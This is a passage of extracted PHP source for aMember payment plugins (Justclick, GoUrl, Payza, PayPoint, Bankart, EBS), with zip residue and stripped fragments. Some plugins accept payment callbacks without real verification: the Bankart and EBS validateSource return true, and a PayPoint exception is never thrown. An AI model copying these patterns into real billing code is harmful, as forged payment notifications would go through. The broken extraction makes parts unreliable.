"\r\n\r\n"; $request_data .= $request_xml; $reply_data = ""; $errno = 0; $errstr = ""; $fp = fsockopen(($url['scheme'] == "https" ? "ssl://" : "") . $url['host'], $url['port'], $errno, $errstr, 30); if ($fp) { if (function_exists("stream_context_set_params")) { stream_context_set_params($fp, array( 'ssl' => array( 'verify_peer' => $verify_peer, 'allow_self_signed' => $verify_peer ) )); } fwrite($fp, $request_data); fflush($fp); while (!feof($fp)) { $reply_data .= fread($fp, 1024); } fclose($fp); } } // check response if ($curl_available) { if (curl_errno($ch)) { $this->error_code = -1; $this->error = "curl error: " . curl_errno($ch); return false; } $reply_info = curl_getinfo($ch); curl_close($ch); } else { if ($errno) { $this->error_code = -1; $this->error = "connection error: " . $errno; return false; } $header_size = strpos($reply_data, "\r\n\r\n"); $header_data = substr($reply_data, 0, $header_size); $header = explode("\r\n", $header_data); $status_line = explode(" ", $header[0]); $content_type = "application/octet-stream"; foreach ($header as $header_line) { $header_parts = explode(":", $header_line); if (strtolower($header_parts[0]) == "content-type") { $content_type = trim($header_parts[1]); break; } } $reply_info = array( 'http_code' => (int) $status_line[1], 'content_type' => $content_type, 'header_size' => $header_size + 4 ); } if ($reply_info['http_code'] != 200) { $this->error_code = -1; $this->error = "http error: " . $reply_info['http_code']; return false; } if (strstr($reply_info['content_type'], "/xml") === false) { $this->error_code = -1; $this->error = "content type error: " . $reply_info['content_type']; return false; } // split header and body $reply_header = substr($reply_data, 0, $reply_info['header_size'] - 4); $reply_xml = substr($reply_data, $reply_info['header_size']); if (empty($reply_xml)){ $this->error_code = -1; $this->error = "received empty response"; return false; } return $reply_xml; } // From http://www.php.net/manual/en/function.strrpos.php#78556 function rstrpos($haystack, $needle, $offset = null){ $size = strlen($haystack); if (is_null($offset)) { $offset = $size; } $pos = strpos(strrev($haystack), strrev($needle), $size - $offset); if ($pos === false) { return false; } return $size - $pos - strlen($needle); } } /** * Classes used to parse xml data */ class msp_gc_xmlparser { var $params = array(); //Stores the object representation of XML data var $root = NULL; var $global_index = -1; var $fold = false; /* Constructor for the class * Takes in XML data as input( do not include the tag */ function msp_gc_xmlparser($input, $xmlParams=array(XML_OPTION_CASE_FOLDING => 0)) { // XML PARSE BUG: http://bugs.php.net/bug.php?id=45996 $input = str_replace('&', '[msp-amp]', $input); // $xmlp = xml_parser_create(); foreach($xmlParams as $opt => $optVal) { switch( $opt ) { case XML_OPTION_CASE_FOLDING: $this->fold = $optVal; break; default: break; } xml_parser_set_option($xmlp, $opt, $optVal); } if(xml_parse_into_struct($xmlp, $input, $vals, $index)) { $this->root = $this->_foldCase($vals[0]['tag']); $this->params = $this->xml2ary($vals); } xml_parser_free($xmlp); } function _foldCase($arg) { return( $this->fold ? strtoupper($arg) : $arg); } /* * Credits for the structure of this function * http://mysrc.blogspot.com/2007/02/php-xml-to-array-and-backwards.html * * Adapted by Ropu - 05/23/2007 * */ function xml2ary($vals) { $mnary=array(); $ary=&$mnary; foreach ($vals as $r) { $t=$r['tag']; if ($r['type']=='open') { if (isset($ary[$t]) && !empty($ary[$t])) { if (isset($ary[$t][0])){ $ary[$t][]=array(); } else { $ary[$t]=array($ary[$t], array()); } $cv=&$ary[$t][count($ary[$t])-1]; } else { $cv=&$ary[$t]; } $cv=array(); if (isset($r['attributes'])) { foreach ($r['attributes'] as $k=>$v) { $cv[$k]=$v; } } $cv['_p']=&$ary; $ary=&$cv; } else if ($r['type']=='complete') { if (isset($ary[$t]) && !empty($ary[$t])) { // same as open if (isset($ary[$t][0])) { $ary[$t][]=array(); } else { $ary[$t]=array($ary[$t], array()); } $cv=&$ary[$t][count($ary[$t])-1]; } else { $cv=&$ary[$t]; } if (isset($r['attributes'])) { foreach ($r['attributes'] as $k=>$v) { $cv[$k]=$v; } } $cv['VALUE'] = (isset($r['value']) ? $r['value'] : ''); // XML PARSE BUG: http://bugs.php.net/bug.php?id=45996 $cv['VALUE'] = str_replace('[msp-amp]', '&', $cv['VALUE']); // } elseif ($r['type']=='close') { $ary=&$ary['_p']; } } $this->_del_p($mnary); return $mnary; } // _Internal: Remove recursion in result array function _del_p(&$ary) { foreach ($ary as $k=>$v) { if ($k==='_p') { unset($ary[$k]); } else if(is_array($ary[$k])) { $this->_del_p($ary[$k]); } } } /* Returns the root of the XML data */ function GetRoot() { return $this->root; } /* Returns the array representing the XML data */ function GetData() { return $this->params; } }PK\+o33payment/justclick.phpnu[billingPlanTable->customFields()->add( new Am_CustomFieldText( 'justclick_id', "Justclick product ID")); } public function getRecurringType() { return self::REPORTS_NOT_RECURRING; } public function _initSetupForm(Am_Form_Setup $form) { $form->addPassword('user_rps_key')->setLabel('Secret key'); $form->addText('domain') ->setLabel(___("Your sales domain in justclick\n" . "eg. username.justclick.ru")); } public function isConfigured() { return (bool) $this->getConfig('user_rps_key'); } function getConfig($key = null, $default = null) { switch ($key) { case 'auto_create' : return true; default: return parent::getConfig($key, $default); } } public function isNotAcceptableForInvoice(Invoice $invoice) { $items = $invoice->getItems(); if (count($items) > 1) return 'Justclick can not process invoices with more than one item'; /* @var $item InvoiceItem */ if (!$items[0]->getBillingPlanData('justclick_id')) return "item [" . $item->item_title . "] has no related Justclick product configured"; } public function _process(Invoice $invoice, Am_Mvc_Request $request, Am_Paysystem_Result $result) { $item = $invoice->getItem(0); $action = new Am_Paysystem_Action_Redirect(sprintf('http://%s/order/%s', $this->getConfig('domain'), $item->getBillingPlanData('justclick_id'))); $result->setAction($action); } public function createTransaction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { return new Am_Paysystem_Transaction_Justclick($this, $request, $response, $invokeArgs); } public function getReadme() { $url = $this->getPluginUrl('ipn'); return <<$url as "URL для оповещений по API об оплаченном заказе" for your products in justclick 2. Go to aMember CP- > Products -> Manage Products -> Edit and set "Justclick product ID" for necessary products CUT; } } class Am_Paysystem_Transaction_Justclick extends Am_Paysystem_Transaction_Incoming { protected $_autoCreateMap = array( 'name_f' => 'first_name', 'name_l' => 'last_name', 'email' => 'email', 'phone' => 'phone', 'state' => 'region', 'country' => 'country', 'zip' => 'postalcode', 'city' => 'city', 'user_external_id' => 'email', 'invoice_external_id' => 'id', ); public function autoCreateGetProducts() { $products = array(); foreach ((array) $this->request->get('items') as $l) { $pl = Am_Di::getInstance()->billingPlanTable->findFirstByData('justclick_id', $l['id']); if (!$pl) continue; $p = $pl->getProduct(); if ($p) $products[] = $p; } return $products; } public function getUniqId() { return $this->request->getFiltered('id'); } public function findInvoiceId() { return null; } public function validateSource() { $hash = $this->request->getParam('hash'); $h = md5( $this->request->getParam('id') . $this->request->getParam('email') . $this->request->getParam('paid') . $this->getPlugin()->getConfig('user_rps_key')); return $hash == $h; } public function validateStatus() { return!is_null($this->request->getFiltered('paid')); } public function validateTerms() { return true; } }PK\xֽTTpayment/gourl/gourl.phtmlnu[headMeta()->setName('robots', 'noindex,nofollow'); ?> setLayout('layout.phtml'); $this->layoutNoMenu = true; ?> _script('_receipt.phtml'); ?>

    PK\gpayment/gourl/gourl.phpnu[addText('public_key', array('class' => 'el-wide')) ->setLabel("Public Key"); $form->addPassword('private_key', array('class' => 'el-wide')) ->setLabel("Private Key"); } function isConfigured() { return $this->getConfig('public_key') && $this->getConfig('private_key'); } function getBoxId() { preg_match('/^([0-9]+)AA/', $this->getConfig('public_key'), $m); return $m[1]; } public function _process(Invoice $invoice, Am_Mvc_Request $request, Am_Paysystem_Result $result) { $a = new Am_Paysystem_Action_HtmlTemplate_Gourl(dirname(__FILE__), 'gourl.phtml'); $a->boxID = $this->getBoxId(); $a->coinName = 'bitcoin'; $a->public_key = $this->getConfig('public_key'); $a->amount = $invoice->currency == 'BTC' ? $invoice->first_total : 0; $a->amountUSD = $invoice->currency == 'BTC' ? 0 : $invoice->first_total; $a->period = '1 HOUR'; $a->language = $this->getDi()->locale->getLanguage(); $a->iframeID = 'am-gourl-widget'; $a->userID = $invoice->getUser()->pk(); $a->userFormat = 'MANUAL'; $a->orderID = $invoice->public_id; $a->cookieName = ''; $a->webdev_key = ''; $a->width = 530; $a->height = 230; $a->hash = $this->getHash($a->getVars()); foreach (array_map('json_encode', $a->getVars()) as $k => $v) { $a->$k = $v; } $a->invoice = $invoice; $a->return_url = $this->getReturnUrl(); $a->check_url = $this->getPluginUrl('check') . '?' . http_build_query(array( 'id' => $invoice->getSecureId('CHECK-STATUS') )); $result->setAction($a); } public function directAction($request, $response, $invokeArgs) { if ($request->getActionName() == 'check') { $invoice = $this->getDi()->invoiceTable->findBySecureId($request->getParam('id'), 'CHECK-STATUS'); return $this->getDi()->response->ajaxResponse($invoice->status <> Invoice::PENDING); } else { parent::directAction($request, $response, $invokeArgs); } } protected function getHash($a) { extract($a); return md5($boxID . $coinName . $public_key . $this->getConfig('private_key') . $webdev_key . $amount . $period . $amountUSD . $language . $amount . $iframeID . $amountUSD . $userID . $userFormat . $orderID . $width . $height); } public function createTransaction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { if ($request->isGet()) { echo "Only POST Data Allowed"; throw new Am_Exception_Redirect; } return new Am_Paysystem_Transaction_Gourl($this, $request, $response, $invokeArgs); } function getReadme() { $ipn = $this->getPluginUrl('ipn'); return <<$ipn Fill in form above with proper value for your payment box. CUT; } } class Am_Paysystem_Transaction_Gourl extends Am_Paysystem_Transaction_Incoming { public function getUniqId() { return $this->request->getParam('tx'); } public function validateSource() { return $this->request->getParam('private_key') == $this->plugin->getConfig('private_key'); } public function validateStatus() { return $this->request->getParam('status') == 'payment_received'; } public function validateTerms() { return true; } public function findInvoiceId() { return $this->request->getParam('order'); } public function processValidated() { parent::processValidated(); echo "cryptobox_newrecord"; throw new Am_Exception_Redirect; } } class Am_Paysystem_Action_HtmlTemplate_Gourl extends Am_Paysystem_Action_HtmlTemplate { protected $_template; protected $_path; public function __construct($path, $template) { $this->_template = $template; $this->_path = $path; } public function process(Am_Mvc_Controller $action = null) { $action->view->addScriptPath($this->_path); $action->view->assign($this->getVars()); $action->renderScript($this->_template); throw new Am_Exception_Redirect; } }PK\EqY&&payment/payza.phpnu[getConfig('testing') ? "https://sandbox.payza.com/sandbox/payprocess.aspx" : "https://secure.payza.com/checkout"; } public function _initSetupForm(Am_Form_Setup $form) { $form->addText('merchant', array('size' => 20)) ->setLabel('Payza Account'); $form->addText('api_password')->setLabel('The API password you created in the API setup section of your Payza account'); $form->addAdvCheckbox('testing') ->setLabel('Sandbox testing'); } public function getSupportedCurrencies() { //https://dev.payza.com/resources/references/currency-codes return array('AUD', 'BGN', 'CAD', 'CHF', 'CZK', 'DKK', 'EEK', 'EUR', 'GBP', 'HKD', 'HUF', 'INR', 'LTL', 'MYR', 'MKD', 'NOK', 'NZD', 'PLN', 'RON', 'SEK', 'SGD', 'USD', 'ZAR'); } public function _process(Invoice $invoice, Am_Mvc_Request $request, Am_Paysystem_Result $result) { $a = new Am_Paysystem_Action_Redirect($this->getURL()); $a->ap_merchant = $this->getConfig('merchant'); $a->ap_itemname = $invoice->getLineDescription(); $a->ap_currency = $invoice->currency; $a->apc_1 = $invoice->public_id; $invoice->second_total > 0 ? $this->buildSubscriptionParams($a, $invoice) : $this->buildItemParams($a, $invoice); $a->ap_returnurl = $this->getReturnUrl(); $a->ap_cancelurl = $this->getCancelUrl(); $a->ap_ipnversion = 2; $a->ap_alerturl = $this->getPluginUrl('ipn'); ; $result->setAction($a); } protected function buildSubscriptionParams(Am_Paysystem_Action_Redirect $a, Invoice $invoice) { $a->ap_purchasetype = 'subscription'; $a->ap_trialamount = $invoice->first_total; $period = new Am_Period(); $period->fromString($invoice->first_period); $a->ap_trialtimeunit = $this->translatePeriodUnit($period->getUnit()); $a->ap_trialperiodlength = $period->getCount(); $a->ap_amount = $invoice->second_total; $period = new Am_Period(); $period->fromString($invoice->second_period); $a->ap_timeunit = $this->translatePeriodUnit($period->getUnit()); $a->ap_periodlength = $period->getCount(); $a->ap_periodcount = $invoice->rebill_times == IProduct::RECURRING_REBILLS ? 0 : $invoice->rebill_times; } protected function buildItemParams(Am_Paysystem_Action_Redirect $a, Invoice $invoice) { $a->ap_purchasetype = 'item'; $a->ap_amount = $invoice->first_total; } protected function translatePeriodUnit($unit) { switch ($unit) { case Am_Period::DAY : return 'Day'; case Am_Period::MONTH : return 'Month'; case Am_Period::YEAR : return 'Year'; default: throw new Am_Exception_InternalError(sprintf('Unknown period unit type [%s] in %s->%s', $unit, __CLASS__, __METHOD__)); } } public function getRecurringType() { return self::REPORTS_REBILL; } public function getReadme() { $ipn = $this->getPluginUrl('ipn'); return << Setup -> Payza CUT; } public function createTransaction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { return new Am_Paysystem_Transaction_Payza($this, $request, $response, $invokeArgs); } /** * * @returnAm_HttpRequest $req; */ function createRequest($method, $vars) { $req = new Am_HttpRequest(self::API_URL . '/' . $method, Am_HttpRequest::METHOD_POST); foreach ($vars as $k => $v) { $req->addPostParameter($k, $v); } return $req; } function apiRequest($method, $vars, Invoice $invoice = null) { $log = Am_Di::getInstance()->invoiceLogRecord; $log->title = $method; $log->paysys_id = $this->getId(); $req = $this->createRequest($method, $vars); $resp = $req->send(); if ($resp->getStatus() != '200') throw new Am_Exception_InternalError('Payza API: Response code is not 200'); $ret = array(); parse_str($resp->getBody(), $ret); $log->add(array('request' => $vars, 'response' => $ret)); if ($invoice) $log->setInvoice($invoice); $log->save(); if (@$ret['RETURNCODE'] != 100) throw new Am_Exception_InternalError("Payza API: " . $ret['DESCRIPTION']); return $ret; } function getSubscriptionId(Invoice $invoice) { $payments = $invoice->getPaymentRecords(); if (!$payments) throw new Am_Exception_InternalError("Invoice doesn't have payments, unable to get transaction info"); $lastPayment = array_pop($payments); $ret = $this->apiRequest( 'gettransactioninfo', array( 'USER' => $this->getConfig('merchant'), 'PASSWORD' => $this->getConfig('api_password'), 'TRANSACTIONREFERENCE' => $lastPayment->receipt_id, 'TESTMODE' => $this->getConfig('testing') ), $invoice ); return @$ret['SUBSCRIPTIONNUMBER_0']; } function cancelAction(\Invoice $invoice, $actionName, \Am_Paysystem_Result $result) { $this->apiRequest('CancelSubscription', array( 'USER' => $this->getConfig('merchant'), 'PASSWORD' => $this->getConfig('api_password'), 'SUBSCRIPTIONREFERENCE' => (($subscr_id = $invoice->data()->get(self::SUBSCR_ID)) ? $subscr_id : $this->getSubscriptionId($invoice)), 'TESTMODE' => $this->getConfig('testing') ), $invoice); $invoice->setCancelled(true); $result->setSuccess(); } function processRefund(\InvoicePayment $payment, \Am_Paysystem_Result $result, $amount) { $this->apiRequest('RefundTansaction', array( 'USER' => $this->getConfig('merchant'), 'PASSWORD' => $this->getConfig('api_password'), 'TRANSACTIONREFERENCE' => $payment->receipt_id, 'TESTMODE' => $this->getConfig('testing') ), $payment->getInvoice()); $result->setSuccess(); } } class Am_Paysystem_Transaction_Payza extends Am_Paysystem_Transaction_Incoming { const INVALID_TOKEN = 'INVALID TOKEN'; protected $ipnData = null; protected function getIPN2HandlerURL() { return $this->getPlugin()->getConfig('testing') ? "https://sandbox.Payza.com/sandbox/IPN2.ashx" : "https://secure.payza.com/ipn2.ashx"; } public function validateSource() { $token = $this->request->getParam('token'); $request = new Am_HttpRequest($this->getIPN2HandlerURL(), Am_HttpRequest::METHOD_POST); $request->addPostParameter('token', $token); $response = $request->send(); $body = $response->getBody(); if ($body == self::INVALID_TOKEN) throw new Am_Exception_Paysystem_TransactionInvalid(sprintf("Invalid Token [%s] passed.", $token)); parse_str(urldecode($body), $this->ipnData); $this->log->add($this->ipnData); return true; } public function validateStatus() { return true; } public function validateTerms() { $amount = $this->ipnData['ap_trialamount'] ? $this->ipnData['ap_trialamount'] : $this->ipnData['ap_amount']; return $amount == $this->invoice->first_total; } public function findInvoiceId() { return $this->ipnData['apc_1']; } public function getUniqId() { return $this->ipnData['ap_referencenumber']; } function processValidated() { switch ($this->ipnData['ap_status']) { case 'Success' : case 'Subscription-Payment-Success' : $this->invoice->addPayment($this); break; case 'Subscription-Canceled' : $this->invoice->setCancelled(true); break; } if ($subscr_id = $this->request->get('ap_subscriptionreferencenumber')) $this->invoice->data()->set(Am_Paysystem_Payza::SUBSCR_ID, $subscr_id)->update(); } } PK\G (&(&payment/paypoint.phpnu[addText('merchant', array('size' => 20)) ->setLabel('PayPoint Username'); $form->addText('remote_password', array('size' => 30)) ->setLabel("Remote Password\n" . 'Please see readme below'); $form->addText('digestkey', array('size' => 30)) ->setLabel("Digest Key\n" . 'Created from within the PayPoint.net Merchant Extranet'); $form->addAdvCheckbox('testing')->setLabel('Test Mode'); } function calculateDigest(Am_Paysystem_Action_Redirect $a) { $d = md5($s = $a->trans_id . $a->amount . $this->getConfig('remote_password')); return $d; } function getPeriod($period) { $p = new Am_Period($period); switch ($p->getUnit()) { case Am_Period::DAY: if ($p->getCount() == 1) return 'daily'; if ($p->getCount() == 7) return 'weekly'; break; case Am_Period::MONTH: if ($p->getCount() == 1) return 'monthly'; if ($p->getCount() == 3) return 'quarterly'; if ($p->getCount() == 6) return 'half-yearly'; break; case Am_Period::YEAR: if ($p->getCount() == 1) return 'yearly'; default: // nop. exception } throw new Am_Exception_Paysystem_NotConfigured( "Unable to convert period [$period] to PayPoint-compatible." . "Please contact webmaster for more information about this issue"); } public function _process(Invoice $invoice, Am_Mvc_Request $request, Am_Paysystem_Result $result) { $a = new Am_Paysystem_Action_Redirect(self::URL); $a->merchant = $this->getConfig('merchant'); $a->trans_id = $invoice->public_id; $a->amount = $invoice->first_total; $a->callback = $this->getPluginUrl('thanks'); $a->digest = $this->calculateDigest($a); $a->bill_addr_1 = $invoice->getStreet(); $a->bill_city = $invoice->getCity(); $a->bill_country = $invoice->getCountry(); $a->bill_email = $invoice->getEmail(); $a->bill_name = $invoice->getName(); $a->bill_post_code = $invoice->getZip(); $a->bill_state = $invoice->getState(); $a->bill_tel = $invoice->getPhone(); $a->currency = $invoice->currency; $a->options = "cb_post=true,md_flds=trans_id:amount:callback"; if ($invoice->rebill_times) { // Recurring payment; $a->repeat = sprintf("%s/%s/%s:%s", gmdate('Ymd', strtotime($invoice->calculateRebillDate(1))), $this->getPeriod($invoice->second_period), ($invoice->rebill_times == IProduct::RECURRING_REBILLS ? '-1' : $invoice->rebill_times), $invoice->second_total ); $a->repeat_callback = $a->callback; } if ($this->getConfig('testing')) $a->test_status = 'true'; $result->setAction($a); } public function directAction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { $invoiceLog = $this->_logDirectAction($request, $response, $invokeArgs); $transaction = $this->createTransaction($request, $response, $invokeArgs); if (!$transaction) { throw new Am_Exception_InputError("Request not handled - createTransaction() returned null"); } $transaction->setInvoiceLog($invoiceLog); try { $transaction->process(); } catch (Exception $e) { if ($invoiceLog) $invoiceLog->add($e); throw new Am_Exception_InputError($e->getMessage()); } if ($invoiceLog) $invoiceLog->setProcessed(); //show thanks page without redirect //if ($transaction->isFirst()) $this->displayThanks($request, $response, $invokeArgs, $transaction->getInvoice()); } function isNotAcceptableForInvoice(Invoice $invoice) { if (!$invoice->first_total) return "Free trials are not supported!"; if ($invoice->rebill_times) { try { $this->getPeriod($invoice->second_period); } catch (Exception $e) { return $e->getMessage(); } } return parent::isNotAcceptableForInvoice($invoice); } public function createTransaction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { return new Am_Paysystem_Transaction_Paypoint($this, $request, $response, $invokeArgs); } public function getRecurringType() { return self::REPORTS_REBILL; } public function isConfigured() { return $this->getConfig('merchant') > ''; } function getReadme() { return <<Note: The remote password can be configured from within the PayPoint.net Merchant Extranet (Click on "Change Remote Passwords" and select Remote from the drop down list). When the POST request from your server is received by PayPoint.net, the same process takes place to build the MD5 encrypted string. If the string created by PayPoint.net matches the string sent by you in the value of the digest request parameter, then we know that the request came from you and that none of the data used to create the digest was altered in transit, therefore the transaction is permitted to proceed as normal. Ensuring PayPoint.net Checks for Authentication In order to ensure that PayPoint.net knows to check the request from your application for authentication, you have to have asked us to set this up on your account. This is not in place by default. Once you have tested your integration to be sure that the digest key is being submitted correctly, please ask for this to be done by emailing gatewaysupport@paypoint.net, quoting your PayPoint.net account ID and requesting that the ‘req_digest=true’ option be added to your account. IMPORTANT INFORMATION ABOUT RECURRING BILLING SUPPORT Paypoint hosted gateway supports only these recurring periods: daily - 1D weekly - 7D monthly - 1M quarterly - 3M half-yearly - 6M yearly - 1Y All other values of second period will generate an exception. First Period can be set to any value though. EOT; } } class Am_Paysystem_Transaction_Paypoint extends Am_Paysystem_Transaction_Incoming { public function findInvoiceId() { list($invoice, ) = explode('_', $this->request->getFiltered('trans_id')); return $invoice; } public function getUniqId() { return $this->request->get('auth_code'); } public function validateSource() { try { $invoice = $this->loadInvoice($this->findInvoiceId()); } catch (Exception $e) { Am_Exception_Paysystem_TransactionSource($e->getMessage()); } if ($this->request->isPost()){ if($invoice->first_total && !$invoice->getPaymentsCount()) $valid = (md5($s = http_build_query(array( 'trans_id' => $invoice->public_id, 'amount' => $invoice->first_total, 'callback' => $this->getPlugin()->getPluginUrl('thanks') ), '', '&') . "&" . $this->getPlugin()->getConfig('digestkey') ) == $this->request->get('hash')); else //do not urlencode $valid = (md5('trans_id=' . $this->request->get('trans_id') . '&amount=' . $this->request->get('amount') . "&" . $this->getPlugin()->getConfig('digestkey') ) == $this->request->get('hash')); } else { $uri = substr($this->request->getRequestUri(), -37); $valid = md5($s = $uri . $this->getPlugin()->getConfig('digestkey')); } if ($this->request->get('valid') != 'true') throw new Am_Exception_Paysystem_TransactionInvalid('Invalid transaction received'); if (($this->request->get('auth_code') == 9999) && !$this->getPlugin()->getConfig('testing')) throw new Am_Exception_Paysystem_TransactionInvalid('Test transaction received, but test mode is disabled'); if ($this->request->get('code') != 'A') throw new Am_Exception_Paysystem_TransactionInvalid('transaction was not authorized'); return $valid; } public function validateStatus() { return true; } public function validateTerms() { if ($this->invoice->status == Invoice::PENDING) return $this->invoice->first_total == $this->request->get('amount'); else return $this->invoice->second_total == $this->request->get('amount'); } } PK\l payment/bankart/bankart.phpnu[ '978', 'USD' => '840'); var $key = array (1416130419, 1696626536, 1864396914, 1868981619, 1931506799, 543580534, 1869967904, 1718773093, 1685024032, 1634624544, 2036692000, 1684369522, 1701013857, 1952784481, 1734964321, 1953066862, 543257189, 544040302, 544696431, 544694638, 1948283489, 1768824951, 1769236591, 1970544756, 1752526436, 1701978209, 1852055660, 1768384628, 1852403303); public function _initSetupForm(Am_Form_Setup $form) { $form->addText('terminal_id', array('size' => 20)) ->setLabel('Terminal Alias'); } function odpakiraj($stringData) { while (strlen($stringData) % 4 != 0) $stringData .= ' '; for ($i = 0, $j = 0; $i < strlen($stringData); $i = $i + 4, $j++) { $y = unpack("Nx", substr($stringData, $i, 4)); $data[$j] = $y["x"]; } return $data; } function simpleXOR($byteInput) { $k = 0; for ($m = 0; $m < count($byteInput); $m++) { if ($k >= count($this->key)) $k = 0; $result[$m] = $byteInput[$m] ^ $this->key[$k]; $k++; } return $result; } function zapakiraj($data) { $stringData = ''; for ($i = 0; $i < count($data); $i++) { $bin = pack("N", $data[$i]); $stringData = $stringData.$bin; } return $stringData; } public function _process(Invoice $invoice, Am_Mvc_Request $request, Am_Paysystem_Result $result) { $encoded = file_get_contents(dirname(__FILE__).'/resource.cgn'); $decoded = $this->zapakiraj($this->simpleXOR($this->odpakiraj($encoded))); $temp = tempnam(DATA_DIR,'bnk'); file_put_contents($temp, $decoded); $zipFile = zip_open($temp); while ($zipEntry = zip_read($zipFile)) { if (zip_entry_name($zipEntry) == $this->getConfig('terminal_id').'.xml') { $zip_entry_exist = true; if (zip_entry_open($zipFile, $zipEntry)) { $readStream = zip_entry_read($zipEntry); $data = unpack("N*", $readStream); for ($i=1; $isimpleXOR($data1); $bin = null; for ($i=0; $igetDi()->errorLogTable->log("BANKART API ERROR : terminal xml file is not found in cgn file"); throw new Am_Exception_InputError(___('Error happened during payment process. ')); } //for some reasone xml is broken in bankart cgn file $strData = preg_replace("/\<\/term[a-z]+$/",'',$strData); $terminal = new SimpleXMLElement($strData); $port = (string)$terminal->port[0]; $context = (string)$terminal->context[0]; if($port == "443" ) $url = "https://"; else $url = "http://"; $url.=(string)$terminal->webaddress[0]; if(strlen($port) > 0) $url.= ":" . $port; if(strlen($context) > 0) { if ($context[0] != "/") $url.="/"; $url.=$context; if (!$context[strlen($context)-1] != "/") $url.="/"; } else { $url.="/"; } $url.="servlet/PaymentInitHTTPServlet"; $vars = array( 'id' => (string)$terminal->id[0], 'password' => (string)$terminal->password[0], 'passwordhash' => (string)$terminal->passwordhash[0], 'action' => 4, 'amt' => $invoice->first_total, 'currency' => $this->currency_codes[$invoice->currency], 'responseURL' => $this->getPluginUrl('ipn'), //strange bankart requirements 'errorURL' => $this->getRootUrl() . "/cancel", 'trackId' => $invoice->public_id, 'udf1' => $invoice->public_id, ); $req = new Am_HttpRequest($url, Am_HttpRequest::METHOD_POST); $req->addPostParameter($vars); $res = $req->send(); $body = $res->getBody(); if(strpos($body, 'ERROR')>0) { $this->getDi()->errorLogTable->log("BANKART API ERROR : $body"); throw new Am_Exception_InputError(___('Error happened during payment process. ')); } list($payment_id,$url) = explode(':', $body, 2); $invoice->data()->set('bankart_payment_id', $payment_id)->update(); $a = new Am_Paysystem_Action_Redirect($url. '?PaymentID=' .$payment_id); $result->setAction($a); } public function createTransaction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { if($request->get('Error') || $request->get('result') != 'APPROVED') { $invoice = $this->getDi()->invoiceTable->findFirstByData('bankart_payment_id', $request->get('paymentid')); echo "REDIRECT=".$this->getRootUrl() . "/cancel?id=" . $invoice->getSecureId("CANCEL"); die; } return new Am_Paysystem_Transaction_Bankart($this, $request, $response, $invokeArgs); } public function getRecurringType() { return self::REPORTS_NOT_RECURRING; } public function getSupportedCurrencies() { return array_keys($this->currency_codes); } public function getReadme() { $rootURL = $this->getDi()->config->get('root_url'); return <<Bankart payment plugin configuration 1. Enable "bankart" payment plugin at aMember CP->Setup->Plugins 2. Configure "Bankart" payment plugin at aMember CP -> Setup/Configuration -> Bankart 3. Download resource.cgn from your Bankart merchant account and upload it into /amember/application/default/plugins/payment/bankart CUT; } } class Am_Paysystem_Transaction_Bankart extends Am_Paysystem_Transaction_Incoming { public function findInvoiceId() { return $this->request->get('udf1'); } public function getUniqId() { return $this->request->get('paymentid'); } public function validateSource() { return true; } public function validateStatus() { return ($this->request->get('result') == 'APPROVED'); } public function validateTerms() { return true; } public function processValidated() { parent::processValidated(); echo "REDIRECT=".$this->plugin->getRootUrl() . "/thanks?id=" . $this->invoice->getSecureId("THANKS"); } }PK\HR*33payment/myshortcart-bca.phpnu[addText('account_id')->setLabel('Merchant Account Id'); $form->addText('secret')->setLabel('Merchant Secret Key'); $sel = $form->addSelect('mode') ->setLabel('Mode') ->loadOptions(array('TEST' => 'Test mode','LIVE' => 'Live mode')); } public function _process(Invoice $invoice, Am_Mvc_Request $request, Am_Paysystem_Result $result) { $u = $invoice->getUser(); $a = new Am_Paysystem_Action_Form(self::LIVE_URL); $a->account_id = $this->getConfig('account_id'); $a->return_url = $this->getPluginUrl('thanks').'?DR={DR}'; $a->mode = $this->getConfig('mode'); $a->reference_no = $invoice->public_id; $a->amount = $invoice->first_total; $a->description = $invoice->getLineDescription(); $a->name = $u->name_f.' '.$u->name_l; $a->address = $u->street; $a->city = $u->city; $a->state = $u->state; $a->postal_code = $u->zip; $a->country = $u->country; $a->phone = $u->phone; $a->email = $u->email; $a->secure_hash = md5($this->getConfig('secret',"ebskey")."|".$a->account_id."|".$a->amount."|".$a->reference_no."|".$a->return_url."|".$a->mode); $a->filterEmpty(); $result->setAction($a); } public function createTransaction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { } public function createThanksTransaction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { return new Am_Paysystem_Transaction_Ebs($this, $request, $response, $invokeArgs); } } class Am_Paysystem_Transaction_Ebs extends Am_Paysystem_Transaction_Incoming { public function __construct(Am_Paysystem_Abstract $plugin, Am_Mvc_Request $request, Am_Mvc_Response $response, $invokeArgs) { $DR = preg_replace("/\s/","+",$request->get('DR', $_GET['DR'])); $rc4 = new Crypt_RC4($plugin->getConfig('secret','ebskey')); $QueryString = base64_decode($DR); $rc4->decrypt($QueryString); $QueryString = explode('&',$QueryString); foreach($QueryString as $param){ $param = explode('=',$param); $request->setParam($param[0], $param[1]); } parent::__construct($plugin,$request,$request,$invokeArgs); } public function getUniqId() { return $this->request->get('PaymentID'); } public function validateSource() { return true; } public function validateStatus() { return ($this->request->get('ResponseCode') == 0); } public function validateTerms() { return (floatval($this->request->get('Amount')) == floatval($this->invoice->first_total)); } public function findInvoiceId() { return $this->request->get('MerchantRefNo'); } public function getInvoice() { return $this->invoice; } } class Crypt_RC4 { /** * Real programmers... * @var array */ var $s= array(); /** * Real programmers... * @var array */ var $i= 0; /** * Real programmers... * @var array */ var $j= 0; /** * Key holder * @var string */ var $_key; /** * Constructor * Pass encryption key to key() * * @see key() * @param string key - Key which will be used for encryption * @return void * @access public */ function __construct($key = null) { if ($key != null) { $this->setKey($key); } } function setKey($key) { if (strlen($key) > 0) $this->_key = $key; } /** * Assign encryption key to class * * @param string key - Key which will be used for encryption * @return void * @access public */ function key(&$key) { $len= strlen($key); for ($this->i = 0; $this->i < 256; $this->i++) { $this->s[$this->i] = $this->i; } $this->j = 0; for ($this->i = 0; $this->i < 256; $this->i++) { $this->j = ($this->j + $this->s[$this->i] + ord($key[$this->i % $len])) % 256; $t = $this->s[$this->i]; $this->s[$this->i] = $this->s[$this->j]; $this->s[$this->j] = $t; } $this->i = $this->j = 0; } /** * Encrypt 